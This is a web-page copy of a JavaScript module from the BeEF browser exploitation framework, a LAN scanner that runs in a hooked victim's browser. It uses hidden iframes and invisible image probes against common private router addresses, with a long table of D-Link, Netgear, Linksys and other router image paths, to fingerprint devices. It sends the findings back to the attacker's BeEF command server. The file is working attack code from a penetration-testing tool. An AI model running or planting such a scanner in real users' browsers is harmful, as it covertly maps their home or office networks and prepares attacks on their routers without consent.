Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/network/jslanscanner/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
// Ported to BeEF from jslanscanner: https://code.google.com/p/jslanscanner/source/browse/trunk/lan_scan/js/lan_scan.js
7
8
beef.execute(function() {
9
10
if(!beef.browser.isFF() && !beef.browser.isS()){
11
beef.debug("[command #<%= @command_id %>] Browser is not supported.");
12
beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=unsupported browser", beef.are.status_error());
13
return;
14
}
15
16
//------------------------------------------------------------------------------------------
17
// LAN SCANNER created by Gareth Heyes (gareth at businessinfo co uk)
18
// Blog: www.thespanner.co.uk
19
// Labs site : www.businessinfo.co.uk
20
// Version 2.1
21
//------------------------------------------------------------------------------------------
22
23
/* Copyright 2007 Gareth Heyes (email : gareth[at]NOSPAM businessinfo(dot)(co)(dot)uk
24
25
This program is free software; you can redistribute it and/or modify
26
it under the terms of the GNU General Public License as published by
27
the Free Software Foundation; either version 2 of the License, or
28
(at your option) any later version.
29
30
This program is distributed in the hope that it will be useful,
31
but WITHOUT ANY WARRANTY; without even the implied warranty of
32
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
33
GNU General Public License for more details.
34
35
You should have received a copy of the GNU General Public License
36
along with this program; if not, write to the Free Software
37
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
38
*/
39
40
var devices = [
41
{make:'DLink',model:'dgl4100',graphic:'/html/images/dgl4100.jpg'},
42
{make:'DLink',model:'dgl4300',graphic:'/html/images/dgl4300.jpg'},
43
{make:'DLink',model:'di524',graphic:'/html/images/di524.jpg'},
44
{make:'DLink',model:'di624',graphic:'/html/images/di624.jpg'},
45
{make:'DLink',model:'di624s',graphic:'/html/images/di624s.jpg'},
46
{make:'DLink',model:'di724gu',graphic:'/html/images/di724gu.jpg'},
47
{make:'DLink',model:'dilb604',graphic:'/html/images/dilb604.jpg'},
48
{make:'DLink',model:'dir130',graphic:'/html/images/dir130.jpg'},
49
{make:'DLink',model:'dir330',graphic:'/html/images/dir330.jpg'},
50
{make:'DLink',model:'dir450',graphic:'/html/images/dir450.jpg'},
51
{make:'DLink',model:'dir451',graphic:'/html/images/dir451.jpg'},
52
{make:'DLink',model:'dir615',graphic:'/html/images/dir615.jpg'},
53
{make:'DLink',model:'dir625',graphic:'/html/images/dir625.jpg'},
54
{make:'DLink',model:'dir635',graphic:'/html/images/dir635.jpg'},
55
{make:'DLink',model:'dir655',graphic:'/html/images/dir655.jpg'},
56
{make:'DLink',model:'dir660',graphic:'/html/images/dir660.jpg'},
57
{make:'DLink',model:'ebr2310',graphic:'/html/images/ebr2310.jpg'},
58
{make:'DLink',model:'kr1',graphic:'/html/images/kr1.jpg'},
59
{make:'DLink',model:'tmg5240',graphic:'/html/images/tmg5240.jpg'},
60
{make:'DLink',model:'wbr1310',graphic:'/html/images/wbr1310.jpg'},
61
{make:'DLink',model:'wbr2310',graphic:'/html/images/wbr2310.jpg'},
62
{make:'DLink',model:'dsl604',graphic:'/html/images/dsl604.jpg'},
63
{make:'DLink',model:'dsl2320b',graphic:'/html/images/dsl2320b.jpg'},
64
{make:'DLink',model:'dsl2540b',graphic:'/html/images/dsl2540b.jpg'},
65
{make:'DLink',model:'dsl2640b',graphic:'/html/images/dsl2640b.jpg'},
66
{make:'DLink',model:'dsl302g',graphic:'/html/images/dsl302g.jpg'},
67
{make:'DLink',model:'dsl502g',graphic:'/html/images/dsl502g.jpg'},
68
{make:'DLink',model:'dgl3420',graphic:'/html/images/dgl3420.jpg'},
69
{make:'DLink',model:'dwl2100ap',graphic:'/html/images/dwl2100ap.jpg'},
70
{make:'DLink',model:'dwl2130ap',graphic:'/html/images/dwl2130ap.jpg'},
71
{make:'DLink',model:'dwl2200ap',graphic:'/html/images/dwl2200ap.jpg'},
72
{make:'DLink',model:'dwl2230ap',graphic:'/html/images/dwl2230ap.jpg'},
73
{make:'DLink',model:'dwl2700ap',graphic:'/html/images/dwl2700ap.jpg'},
74
{make:'DLink',model:'dwl3200ap',graphic:'/html/images/dwl3200ap.jpg'},
75
{make:'DLink',model:'dwl7100ap',graphic:'/html/images/dwl7100ap.jpg'},
76
{make:'DLink',model:'dwl7130ap',graphic:'/html/images/dwl7130ap.jpg'},
77
{make:'DLink',model:'dwl7200ap',graphic:'/html/images/dwl7200ap.jpg'},
78
{make:'DLink',model:'dwl7230ap',graphic:'/html/images/dwl7230ap.jpg'},
79
{make:'DLink',model:'dwl7700ap',graphic:'/html/images/dwl7700ap.jpg'},
80
{make:'DLink',model:'dwl8200ap',graphic:'/html/images/dwl8200ap.jpg'},
81
{make:'DLink',model:'dwl8220ap',graphic:'/html/images/dwl8220ap.jpg'},
82
{make:'DLink',model:'dwlag132',graphic:'/html/images/dwlag132.jpg'},
83
{make:'DLink',model:'dwlag530',graphic:'/html/images/dwlag530.jpg'},
84
{make:'DLink',model:'dwlag660',graphic:'/html/images/dwlag660.jpg'},
85
{make:'DLink',model:'dwlag700ap',graphic:'/html/images/dwlag700ap.jpg'},
86
{make:'DLink',model:'dwlg120',graphic:'/html/images/dwlg120.jpg'},
87
{make:'DLink',model:'dwlg122',graphic:'/html/images/dwlg122.jpg'},
88
{make:'DLink',model:'dwlg132',graphic:'/html/images/dwlg132.jpg'},
89
{make:'DLink',model:'dwlg510',graphic:'/html/images/dwlg510.jpg'},
90
{make:'DLink',model:'dwlg520',graphic:'/html/images/dwlg520.jpg'},
91
{make:'DLink',model:'dwlg520m',graphic:'/html/images/dwlg520m.jpg'},
92
{make:'DLink',model:'dwlg550',graphic:'/html/images/dwlg550.jpg'},
93
{make:'DLink',model:'dwlg630',graphic:'/html/images/dwlg630.jpg'},
94
{make:'DLink',model:'dwlg650',graphic:'/html/images/dwlg650.jpg'},
95
{make:'DLink',model:'dwlg650m',graphic:'/html/images/dwlg650m.jpg'},
96
{make:'DLink',model:'dwlg680',graphic:'/html/images/dwlg680.jpg'},
97
{make:'DLink',model:'dwlg700ap',graphic:'/html/images/dwlg700ap.jpg'},
98
{make:'DLink',model:'dwlg710',graphic:'/html/images/dwlg710.jpg'},
99
{make:'DLink',model:'dwlg730ap',graphic:'/html/images/dwlg730ap.jpg'},
100
{make:'DLink',model:'dwlg820',graphic:'/html/images/dwlg820.jpg'},
101
{make:'DLink',model:'wda1320',graphic:'/html/images/wda1320.jpg'},
102
{make:'DLink',model:'wda2320',graphic:'/html/images/wda2320.jpg'},
103
{make:'DLink',model:'wna1330',graphic:'/html/images/wna1330.jpg'},
104
{make:'DLink',model:'wna2330',graphic:'/html/images/wna2330.jpg'},
105
{make:'DLink',model:'wua1340',graphic:'/html/images/wua1340.jpg'},
106
{make:'DLink',model:'wua2340',graphic:'/html/images/wua2340.jpg'},
107
{make:'DLink',model:'DSL502T',graphic:'/html/images/help_p.jpg'},
108
{make:'DLink',model:'DSL524T',graphic:'/html/images/device.gif'},
109
{make:'Netgear',model:'CG814WG',graphic:'/images/../settingsCG814WG.gif'},
110
{make:'Netgear',model:'CM212',graphic:'/images/../settingsCM212.gif'},
111
{make:'Netgear',model:'DG632',graphic:'/images/../settingsDG632.gif'},
112
{make:'Netgear',model:'DG632B',graphic:'/images/../settingsDG632B.gif'},
113
{make:'Netgear',model:'DG814',graphic:'/images/../settingsDG814.gif'},
114
{make:'Netgear',model:'DG824M',graphic:'/images/../settingsDG824M.gif'},
115
{make:'Netgear',model:'DG834',graphic:'/images/../settingsDG834.gif'},
116
{make:'Netgear',model:'DG834B',graphic:'/images/../settingsDG834B.gif'},
117
{make:'Netgear',model:'DG834G',graphic:'/images/../settingsDG834G.gif'},
118
{make:'Netgear',model:'DG834GB',graphic:'/images/../settingsDG834GB.gif'},
119
{make:'Netgear',model:'DG834GT',graphic:'/images/../settingsDG834GT.gif'},
120
{make:'Netgear',model:'DG834GTB',graphic:'/images/../settingsDG834GTB.gif'},
121
{make:'Netgear',model:'DG834GV',graphic:'/images/../settingsDG834GV.gif'},
122
{make:'Netgear',model:'dg834N',graphic:'/images/../settingsdg834N.gif'},
123
{make:'Netgear',model:'DG834PN',graphic:'/images/../settingsDG834PN.gif'},
124
{make:'Netgear',model:'DGFV338',graphic:'/images/../settingsDGFV338.gif'},
125
{make:'Netgear',model:'DM111P',graphic:'/images/../settingsDM111P.gif'},
126
{make:'Netgear',model:'DM602',graphic:'/images/../settingsDM602.gif'},
127
{make:'Netgear',model:'FM114P',graphic:'/images/../settingsFM114P.gif'},
128
{make:'Netgear',model:'FR114P',graphic:'/images/../settingsFR114P.gif'},
129
{make:'Netgear',model:'FR114W',graphic:'/images/../settingsFR114W.gif'},
130
{make:'Netgear',model:'FR314',graphic:'/images/../settingsFR314.gif'},
131
{make:'Netgear',model:'FR318',graphic:'/images/../settingsFR318.gif'},
132
{make:'Netgear',model:'FR328S',graphic:'/images/../settingsFR328S.gif'},
133
{make:'Netgear',model:'FV318',graphic:'/images/../settingsFV318.gif'},
134
{make:'Netgear',model:'FVG318',graphic:'/images/../settingsFVG318.gif'},
135
{make:'Netgear',model:'FVL328',graphic:'/images/../settingsFVL328.gif'},
136
{make:'Netgear',model:'FVM318',graphic:'/images/../settingsFVM318.gif'},
137
{make:'Netgear',model:'FVS114',graphic:'/images/../settingsFVS114.gif'},
138
{make:'Netgear',model:'FVS124G',graphic:'/images/../settingsFVS124G.gif'},
139
{make:'Netgear',model:'FVS318',graphic:'/images/../settingsFVS318.gif'},
140
{make:'Netgear',model:'FVS328',graphic:'/images/../settingsFVS328.gif'},
141
{make:'Netgear',model:'FVS338',graphic:'/images/../settingsFVS338.gif'},
142
{make:'Netgear',model:'FVX538',graphic:'/images/../settingsFVX538.gif'},
143
{make:'Netgear',model:'FWAG114',graphic:'/images/../settingsFWAG114.gif'},
144
{make:'Netgear',model:'FWG114P',graphic:'/images/../settingsFWG114P.gif'},
145
{make:'Netgear',model:'GA302T',graphic:'/images/../settingsGA302T.gif'},
146
{make:'Netgear',model:'GA311',graphic:'/images/../settingsGA311.gif'},
147
{make:'Netgear',model:'GA511',graphic:'/images/../settingsGA511.gif'},
148
{make:'Netgear',model:'GA620',graphic:'/images/../settingsGA620.gif'},
149
{make:'Netgear',model:'GA621',graphic:'/images/../settingsGA621.gif'},
150
{make:'Netgear',model:'GA622T',graphic:'/images/../settingsGA622T.gif'},
151
{make:'Netgear',model:'HE102',graphic:'/images/../settingsHE102.gif'},
152
{make:'Netgear',model:'HR314',graphic:'/images/../settingsHR314.gif'},
153
{make:'Netgear',model:'JFS516',graphic:'/images/../settingsJFS516.gif'},
154
{make:'Netgear',model:'JFS524',graphic:'/images/../settingsJFS524.gif'},
155
{make:'Netgear',model:'JFS524F',graphic:'/images/../settingsJFS524F.gif'},
156
{make:'Netgear',model:'JGS516',graphic:'/images/../settingsJGS516.gif'},
157
{make:'Netgear',model:'JGS524',graphic:'/images/../settingsJGS524.gif'},
158
{make:'Netgear',model:'JGS524F',graphic:'/images/../settingsJGS524F.gif'},
159
{make:'Netgear',model:'KWGR614',graphic:'/images/../settingsKWGR614.gif'},
160
{make:'Netgear',model:'ME101',graphic:'/images/../settingsME101.gif'},
161
{make:'Netgear',model:'ME102',graphic:'/images/../settingsME102.gif'},
162
{make:'Netgear',model:'ME103',graphic:'/images/../settingsME103.gif'},
163
{make:'Netgear',model:'MR314',graphic:'/images/../settingsMR314.gif'},
164
{make:'Netgear',model:'MR814',graphic:'/images/../settingsMR814.gif'},
165
{make:'Netgear',model:'RH340',graphic:'/images/../settingsRH340.gif'},
166
{make:'Netgear',model:'RH348',graphic:'/images/../settingsRH348.gif'},
167
{make:'Netgear',model:'RM356',graphic:'/images/../settingsRM356.gif'},
168
{make:'Netgear',model:'RO318',graphic:'/images/../settingsRO318.gif'},
169
{make:'Netgear',model:'RP114',graphic:'/images/../settingsRP114.gif'},
170
{make:'Netgear',model:'RP334',graphic:'/images/../settingsRP334.gif'},
171
{make:'Netgear',model:'RP614',graphic:'/images/../settingsRP614.gif'},
172
{make:'Netgear',model:'RT311',graphic:'/images/../settingsRT311.gif'},
173
{make:'Netgear',model:'RT314',graphic:'/images/../settingsRT314.gif'},
174
{make:'Netgear',model:'RT328',graphic:'/images/../settingsRT328.gif'},
175
{make:'Netgear',model:'RT338',graphic:'/images/../settingsRT338.gif'},
176
{make:'Netgear',model:'WAB102',graphic:'/images/../settingsWAB102.gif'},
177
{make:'Netgear',model:'WAG102',graphic:'/images/../settingsWAG102.gif'},
178
{make:'Netgear',model:'WAG302',graphic:'/images/../settingsWAG302.gif'},
179
{make:'Netgear',model:'WAGL102',graphic:'/images/../settingsWAGL102.gif'},
180
{make:'Netgear',model:'WAGR614',graphic:'/images/../settingsWAGR614.gif'},
181
{make:'Netgear',model:'WG102',graphic:'/images/../settingsWG102.gif'},
182
{make:'Netgear',model:'WG111',graphic:'/images/../settingsWG111.gif'},
183
{make:'Netgear',model:'WG111T',graphic:'/images/../settingsWG111T.gif'},
184
{make:'Netgear',model:'WG302',graphic:'/images/../settingsWG302.gif'},
185
{make:'Netgear',model:'WG311',graphic:'/images/../settingsWG311.gif'},
186
{make:'Netgear',model:'WG602',graphic:'/images/../settingsWG602.gif'},
187
{make:'Netgear',model:'WGE101',graphic:'/images/../settingsWGE101.gif'},
188
{make:'Netgear',model:'WGE111',graphic:'/images/../settingsWGE111.gif'},
189
{make:'Netgear',model:'WGL102',graphic:'/images/../settingsWGL102.gif'},
190
{make:'Netgear',model:'WGM124',graphic:'/images/../settingsWGM124.gif'},
191
{make:'Netgear',model:'WGR101',graphic:'/images/../settingsWGR101.gif'},
192
{make:'Netgear',model:'WGR614',graphic:'/images/../settingsWGR614.gif'},
193
{make:'Netgear',model:'WGT624',graphic:'/images/../settingsWGT624.gif'},
194
{make:'Netgear',model:'WGT624SC',graphic:'/images/../settingsWGT624SC.gif'},
195
{make:'Netgear',model:'WGT634U',graphic:'/images/../settingsWGT634U.gif'},
196
{make:'Netgear',model:'WGU624',graphic:'/images/../settingsWGU624.gif'},
197
{make:'Netgear',model:'WGX102',graphic:'/images/../settingsWGX102.gif'},
198
{make:'Netgear',model:'WN121T',graphic:'/images/../settingsWN121T.gif'},
199
{make:'Netgear',model:'WN311B',graphic:'/images/../settingsWN311B.gif'},
200
{make:'Netgear',model:'WN311T',graphic:'/images/../settingsWN311T.gif'},
201
{make:'Netgear',model:'WN511B',graphic:'/images/../settingsWN511B.gif'},
202
{make:'Netgear',model:'WN511T',graphic:'/images/../settingsWN511T.gif'},
203
{make:'Netgear',model:'WN802T',graphic:'/images/../settingsWN802T.gif'},
204
{make:'Netgear',model:'WNR834B',graphic:'/images/../settingsWNR834B.gif'},
205
{make:'Netgear',model:'WNR834M',graphic:'/images/../settingsWNR834M.gif'},
206
{make:'Netgear',model:'WNR854T',graphic:'/images/../settingsWNR854T.gif'},
207
{make:'Netgear',model:'WPN802',graphic:'/images/../settingsWPN802.gif'},
208
{make:'Netgear',model:'WPN824',graphic:'/images/../settingsWPN824.gif'},
209
{make:'Netgear',model:'XM128',graphic:'/images/../settingsXM128.gif'},
210
{make:'Thomson',model:'Cable Modem A801',graphic:'/images/thomson.gif'},
211
{make:'Vigor',model:'2600V',graphic:'/images/logo1.jpg'},
212
{make:'Linksys',model:'WRT54GL',graphic:'/WRT56GL.gif'},
213
{make:'Linksys',model:'WRT54GC',graphic:'/UI_Linksys.gif'},
214
{make:'Linksys',model:'WRT54G',graphic:'/WRT54G.gif'},
215
{make:'Linksys',model:'WRT54GS',graphic:'/UILinksys.gif'},
216
{make:'ZyXEL',model:'Prestige 660H61',graphic:'/dslroutery/imgshop/full/NETZ1431.jpg'},
217
{make:'ZyXEL',model:'Zywall',graphic:'/images/Logo.gif'},
218
{make:'Sitecom',model:'WL114',graphic:'/slogo.gif'},
219
{make:'2Wire',model:'1000 Series',graphic:'/base/web/def/def/images/nav_sl_logo.gif'},
220
{make:'SurfinBird',model:'313',graphic:'/images/help_p.gif'},
221
{make:'SMC',model:'7004ABR',graphic:'/images/logo.gif'},
222
{make:'DLink',model:'DI524',graphic:'/m524.gif'},
223
{make:'Cisco',model:'2600',graphic:'/images/logo.png'},
224
{make:'ASUS',model:'RX Series',graphic:'/images/banner_sys4bg.gif'},
225
{make:'ASUS',model:'RT Series',graphic:'/images/EZSetup_button.gif'}
226
];
227
228
// No signatures for commented out IPs
229
var ips = [
230
{ip:'192.168.1.30',make:'DLink'},
231
{ip:'192.168.1.50',make:'DLink'},
232
{ip:'192.168.2.1',make:'SMC'},
233
//{ip:'192.168.2.1',make:'Accton'},
234
//{ip:'192.168.1.1',make:'3Com'},
235
//{ip:'192.168.1.1',make:'AirLink'},
236
//{ip:'192.168.1.1',make:'Arescom'},
237
//{ip:'192.168.1.1',make:'Teletronics'},
238
//{ip:'192.168.1.1',make:'Dell'},
239
{ip:'192.168.1.1',make:'DLink'},
240
{ip:'192.168.1.1',make:'Linksys'},
241
{ip:'192.168.1.1',make:'ZyXEL'},
242
{ip:'192.168.1.1',make:'ASUS'},
243
{ip:'192.168.0.1',make:'DLink'},
244
{ip:'192.168.0.1',make:'Netgear'},
245
{ip:'192.168.0.1',make:'Linksys'},
246
{ip:'192.168.0.1',make:'SurfinBird'},
247
{ip:'192.168.0.1',make:'ASUS'},
248
{ip:'192.168.0.227',make:'Netgear'},
249
{ip:'192.168.0.254',make:'DLink'},
250
{ip:'192.168.1.225',make:'Linksys'},
251
{ip:'192.168.1.226',make:'Linksys'},
252
{ip:'192.168.1.245',make:'Linksys'},
253
{ip:'192.168.1.246',make:'Linksys'},
254
{ip:'192.168.1.251',make:'Linksys'},
255
{ip:'192.168.100.1',make:'Thomson'},
256
{ip:'192.168.1.254',make:'ZyXEL'},
257
{ip:'192.168.1.254',make:'2Wire'},
258
{ip:'192.168.0.1',make:'Vigor'},
259
{ip:'192.168.123.254',make:'Sitecom'},
260
//{ip:'10.0.1.1',make:'Apple'},
261
{ip:'10.1.1.1',make:'DLink'},
262
{ip:'10.0.0.1',make:'ZyXEL'},
263
//{ip:'10.0.0.2',make:'Aceex'},
264
//{ip:'10.0.0.2',make:'Bausch'},
265
//{ip:'10.0.0.2',make:'E-Tech'},
266
//{ip:'10.0.0.2',make:'JAHT'},
267
{ip:'192.168.1.254',make:'2Wire'},
268
{ip:'192.168.65.1',make:'Cisco'}
269
//{ip:'192.168.100.1',make:'Motorola'},
270
//{ip:'192.168.100.1',make:'Ambit'},
271
];
272
273
var guesses = [
274
{host:'10.1.1.1',label:'Device',labelText:'DLink',port:80},
275
{host:'10.0.0.1',label:'Device',labelText:'ZyXEL',port:80},
276
{host:'10.0.0.2',label:'Device',labelText:'Aceex,Bausch,E-Tech,JAHT',port:80},
277
{host:'10.0.0.138',label:'Device',labelText:'Alcatel',port:80},
278
{host:'10.0.1.1',label:'Device',labelText:'Apple',port:80},
279
{host:'192.168.0.1',label:'Device',labelText:'DLink,Netgear,ASUS,Linksys,Sitecom,Belkin',port:80},
280
{host:'192.168.0.227',label:'Device',labelText:'Netgear',port:80},
281
{host:'192.168.0.254',label:'Device',labelText:'DLink,Sitecom/Linux IP Cop',port:80},
282
{host:'192.168.1.1',label:'Device',labelText:'3Com,AirLink,Linksys,Arescom,ASUS,Dell,DLink,ZyXEL,Teletronics',port:80},
283
{host:'192.168.1.30',label:'Device',labelText:'DLink',port:80},
284
{host:'192.168.1.50',label:'Device',labelText:'DLink,Linksys',port:80},
285
{host:'192.168.1.225',label:'Device',labelText:'Linksys',port:80},
286
{host:'192.168.1.226',label:'Device',labelText:'Linksys',port:80},
287
{host:'192.168.1.245',label:'Device',labelText:'Linksys',port:80},
288
{host:'192.168.1.246',label:'Device',labelText:'Linksys',port:80},
289
{host:'192.168.1.251',label:'Device',labelText:'Linksys',port:80},
290
{host:'192.168.1.254',label:'Device',labelText:'ZyXEL',port:80},
291
{host:'192.168.2.1',label:'Device',labelText:'Accton,Belkin,Microsoft,SMC',port:80},
292
{host:'192.168.2.25',label:'Device',labelText:'SMC',port:80},
293
{host:'192.168.8.1',label:'Device',labelText:'Aceex',port:80},
294
{host:'192.168.11.1',label:'Device',labelText:'Buffalo',port:80},
295
{host:'192.168.62.1',label:'Device',labelText:'Canyon',port:80},
296
{host:'192.168.100.1',label:'Device',labelText:'Ambit,Thomson,Motorola',port:80},
297
{host:'192.168.123.254',label:'Device',labelText:'US Robotics',port:80},
298
{host:'192.168.123.254',label:'Device',labelText:'Sitecom',port:80},
299
{host:'192.168.254.254',label:'Device',labelText:'Flowpoint',port:80},
300
{host:'192.168.254.1',label:'Device',labelText:'BT M5861,2Wire',port:80}
301
];
302
303
lanScanner = {timeout:1,probes:0};
304
//lol pardon the innuendo
305
lanScanner.handleProbe = function(portObj) {
306
if(portObj.init == 1) {
307
lanScanner.addDevice({host:portObj.host,make:portObj.make,model:portObj.model});
308
document.body.removeChild(portObj);
309
}
310
}
311
// ie sucks! onload doesn't work unless specified directly in the document
312
// that's why I have to do this :(
313
lanScanner.handleConnection = function(portObj) {
314
if(portObj.init == 1) {
315
if(beef.browser.isIE()) {
316
portObj.end = new Date().getTime();
317
if(portObj.end - portObj.start > 15000) {
318
document.body.removeChild(portObj);
319
return false;
320
}
321
}
322
var obj = portObj.store;
323
obj.status = 'Open';
324
lanScanner.addHost(obj);
325
document.body.removeChild(portObj);
326
} else {
327
portObj.start = new Date().getTime();
328
}
329
}
330
lanScanner.runScan = function() {
331
var obj, portObj;
332
guessesLen = guesses.length;
333
for(var i=0;i<guessesLen;i++) {
334
obj = guesses[i];
335
currentPort = obj.port;
336
currentAddress = obj.host+':'+currentPort;
337
beef.debug("[JS LAN Scanner] Connecting to: " + currentAddress);
338
portObj = document.getElementById('connection'+i);
339
portObj.src = 'http://'+currentAddress;
340
portObj.store = obj;
341
portObj.init = 1;
342
document.body.appendChild(portObj);
343
}
344
}
345
lanScanner.getPortName = function(port) {
346
var portNames = {'HTTP Server':80,'FTP Server':21};
347
for(var i in portNames) {
348
if(portNames[i] == port) {
349
return i;
350
}
351
}
352
return 'Unknown';
353
}
354
lanScanner.addHost = function(obj) {
355
this.timeout = 0;
356
beef.debug("[JS LAN Scanner] Found "+this.getPortName(obj.port)+" [proto: http, ip: "+obj.host+", port: "+obj.port+"]");
357
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'proto=http&ip='+obj.host+'&port='+obj.port+'&service='+this.getPortName(obj.port), beef.are.status_success());
358
lanScanner.fingerPrint(obj.host);
359
}
360
lanScanner.addDevice = function(obj) {
361
beef.debug("[JS LAN Scanner] Found " + obj.make + ' ' + obj.model + ' [ip: ' + obj.host + ']');
362
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'ip='+obj.host+'&device='+obj.make+' '+obj.model, beef.are.status_success());
363
}
364
lanScanner.destroyConnections = function() {
365
var guessesLen = guesses.length;
366
for(var f=0;f<guessesLen;f++) {
367
document.body.removeChild(document.getElementById('connection'+f));
368
}
369
}
370
lanScanner.fingerPrint = function(address) {
371
var make,fingerprint;
372
for(var i=0;i<ips.length;i++) {
373
if(ips[i].ip == address) {
374
make = ips[i].make;
375
for(var k=0;k<devices.length;k++) {
376
if(devices[k].make == make) {
377
var img = new Image();
378
img.setAttribute("style","visibility:hidden");
379
img.setAttribute("width","0");
380
img.setAttribute("height","0");
381
img.id = 'probe'+this.probes;
382
img.name = 'probe'+this.probes;
383
img.onerror = function() { document.body.removeChild(this); }
384
img.onload = function() { lanScanner.handleProbe(this); }
385
img.init = 1;
386
img.model = devices[k].model;
387
img.make = make;
388
img.host = address;
389
img.src = 'http://' + address + devices[k].graphic;
390
this.probes++;
391
document.body.appendChild(img);
392
}
393
}
394
}
395
}
396
}
397
398
var guessesLen = guesses.length;
399
for(var f=0;f<guessesLen;f++) {
400
var iframe = beef.dom.createInvisibleIframe();
401
iframe.name = "connection"+f;
402
iframe.id = "connection"+f;
403
iframe.onload = function() {
404
lanScanner.handleConnection(this);
405
}
406
}
407
beef.debug("[JS LAN Scanner] Starting scan ("+guessesLen+" IPs)");
408
beef.net.send("<%= @command_url %>", <%= @command_id %>, "Starting scan ("+guessesLen+" IPs)");
409
lanScanner.runScan();
410
//lanScanner.destroyConnections();
411
});
412
413
414